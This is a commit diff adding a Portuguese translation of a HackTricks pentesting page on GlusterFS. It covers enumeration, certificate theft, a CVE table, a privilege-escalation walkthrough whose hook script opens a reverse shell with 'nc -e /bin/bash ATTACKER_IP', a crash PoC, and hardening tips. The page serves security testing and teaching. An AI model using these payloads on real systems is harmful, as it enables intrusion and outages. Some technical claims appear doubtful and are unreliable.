mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
40e0df3f56
commit
0101bd0f0c
@ -1,35 +1,115 @@
|
|||||||
|
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
**GlusterFS** é um **sistema de arquivos distribuído** que combina armazenamento de vários servidores em um **sistema unificado**. Ele permite **escalabilidade arbitrária**, o que significa que você pode facilmente adicionar ou remover servidores de armazenamento sem interromper o sistema de arquivos geral. Isso garante alta **disponibilidade** e **tolerância a falhas** para seus dados. Com o GlusterFS, você pode acessar seus arquivos como se estivessem armazenados localmente, independentemente da infraestrutura de servidor subjacente. Ele fornece uma solução poderosa e flexível para gerenciar grandes quantidades de dados em vários servidores.
|
**GlusterFS** é um **sistema de arquivos distribuído** que combina armazenamento de vários servidores em um **espaço de nomes unificado**. O daemon de gerenciamento (`glusterd`) escuta por padrão na porta **24007/TCP** e instrui os bricks do plano de dados que começam em **49152/TCP** (uma porta por brick, incrementando). Versões anteriores a 9.x usavam **24008–24009/TCP** para transporte de bricks, então você ainda encontrará essas portas em clusters legados.
|
||||||
|
```
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
24007/tcp open glusterd GlusterFS (RPC)
|
||||||
|
49152/tcp open gluster-brick SSL (TLS optional)
|
||||||
|
```
|
||||||
|
> Dica: 24007 responde a chamadas RPC mesmo quando os nós apenas de armazenamento **não** exportam nenhum volume; portanto, o serviço é um alvo de pivô confiável dentro de grandes infraestruturas.
|
||||||
|
|
||||||
**Portas padrão**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (para frente)\
|
|
||||||
Para a porta 49152, as portas incrementadas em 1 precisam estar abertas para usar mais bricks. _Anteriormente, a porta 24009 era usada em vez de 49152._
|
|
||||||
```
|
|
||||||
PORT STATE SERVICE
|
|
||||||
24007/tcp open rpcbind
|
|
||||||
49152/tcp open ssl/unknown
|
|
||||||
```
|
|
||||||
## Enumeração
|
## Enumeração
|
||||||
|
|
||||||
Para interagir com este sistema de arquivos, você precisa instalar o [**cliente GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
Instale as utilidades do cliente na sua máquina de ataque:
|
||||||
|
|
||||||
Para listar e montar os volumes disponíveis, você pode usar:
|
|
||||||
```bash
|
```bash
|
||||||
sudo gluster --remote-host=10.10.11.131 volume list
|
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||||
# This will return the name of the volumes
|
|
||||||
|
|
||||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
|
||||||
```
|
```
|
||||||
Se você receber um **erro ao tentar montar o sistema de arquivos**, você pode verificar os logs em `/var/log/glusterfs/`
|
1. **Descoberta de pares e saúde**
|
||||||
|
```bash
|
||||||
|
# List peers (works without authentication in default setups)
|
||||||
|
gluster --remote-host 10.10.11.131 peer status
|
||||||
|
```
|
||||||
|
2. **Reconhecimento de volume**
|
||||||
|
```bash
|
||||||
|
# Retrieve the list of all volumes and their configuration
|
||||||
|
gluster --remote-host 10.10.11.131 volume info all
|
||||||
|
```
|
||||||
|
3. **Montar sem privilégios**
|
||||||
|
```bash
|
||||||
|
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||||
|
```
|
||||||
|
Se a montagem falhar, verifique `/var/log/glusterfs/<vol_name>-<uid>.log` no lado do cliente. Problemas comuns são:
|
||||||
|
|
||||||
**Erros mencionando certificados** podem ser corrigidos roubando os arquivos (se você tiver acesso ao sistema):
|
* Aplicação de TLS (`option transport.socket.ssl on`)
|
||||||
|
* Controle de acesso baseado em endereço (`option auth.allow <cidr>`)
|
||||||
|
|
||||||
- /etc/ssl/glusterfs.ca
|
### Solução de problemas de certificado
|
||||||
- /etc/ssl/glusterfs.key
|
|
||||||
- /etc/ssl/glusterfs.ca.pem
|
|
||||||
|
|
||||||
E armazenando-os em sua máquina no diretório `/etc/ssl` ou `/usr/lib/ssl` (se um diretório diferente for usado, verifique linhas semelhantes a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nos logs).
|
Roube os seguintes arquivos de qualquer nó cliente autorizado e coloque-os em `/etc/ssl/` (ou no diretório mostrado no log de erro):
|
||||||
|
```
|
||||||
|
/etc/ssl/glusterfs.pem
|
||||||
|
/etc/ssl/glusterfs.key
|
||||||
|
/etc/ssl/glusterfs.ca
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vulnerabilidades Conhecidas (2022-2025)
|
||||||
|
|
||||||
|
| CVE | Versões afetadas | Impacto | Notas |
|
||||||
|
|-----|-------------------|--------|-------|
|
||||||
|
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Uso após liberação em `dht_setxattr_mds_cbk` acessível através da rede | **DoS** remoto e provável RCE. Corrigido em 10.4.1 / 11.1. |
|
||||||
|
| **CVE-2023-26253** | < 11.0 | Leitura fora dos limites no manipulador de notificação FUSE | Queda remota via operações de FS manipuladas; PoC público disponível. |
|
||||||
|
| **CVE-2023-3775** | < 10.5 / 11.1 | Validação de permissão incorreta ao montar `gluster_shared_storage` | Permite que qualquer cliente não autenticado monte o volume de admin – leva a **priv-esc** explicado abaixo. |
|
||||||
|
|
||||||
|
> Sempre verifique `gluster --version` **em cada nó**; clusters heterogêneos são comuns após atualizações parciais.
|
||||||
|
|
||||||
|
### Explorando `gluster_shared_storage` (Escalação de Privilégios)
|
||||||
|
|
||||||
|
Mesmo em versões recentes, muitos administradores deixam o volume especial `gluster_shared_storage` legível por todos, pois isso simplifica a geo-replicação. O volume contém modelos de cronjob que são executados com **root** em cada nó.
|
||||||
|
```bash
|
||||||
|
# 1. Mount admin volume anonymously
|
||||||
|
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||||
|
|
||||||
|
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||||
|
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||||
|
#!/bin/bash
|
||||||
|
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||||
|
EOF
|
||||||
|
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||||
|
|
||||||
|
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||||
|
```
|
||||||
|
Se `hooks/1/` não estiver presente, procure por `/ss_bricks/` – o caminho exato pode variar com a versão principal.
|
||||||
|
|
||||||
|
### Prova de Conceito de Negação de Serviço (CVE-2023-26253)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||||
|
import socket, xdrlib, struct
|
||||||
|
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||||
|
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||||
|
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||||
|
s.send(p.get_buffer())
|
||||||
|
```
|
||||||
|
Executar o script faz com que `glusterfsd` < 11.0 falhe.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Fortalecimento & Detecção
|
||||||
|
|
||||||
|
* **Atualizar** – a LTS atual é 11.1 (Julho de 2025). Todos os CVEs acima estão corrigidos.
|
||||||
|
* Ative **TLS** para cada brick:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gluster volume set <vol> transport.socket.ssl on
|
||||||
|
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||||
|
```
|
||||||
|
* Restringir clientes com listas CIDR:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||||
|
```
|
||||||
|
* Expor a porta de gerenciamento 24007 apenas em uma **VLAN privada** ou através de túneis SSH.
|
||||||
|
* Monitorar logs: `tail -f /var/log/glusterfs/glusterd.log` e configurar o recurso **audit-log** (`volume set <vol> features.audit-log on`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||||
|
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user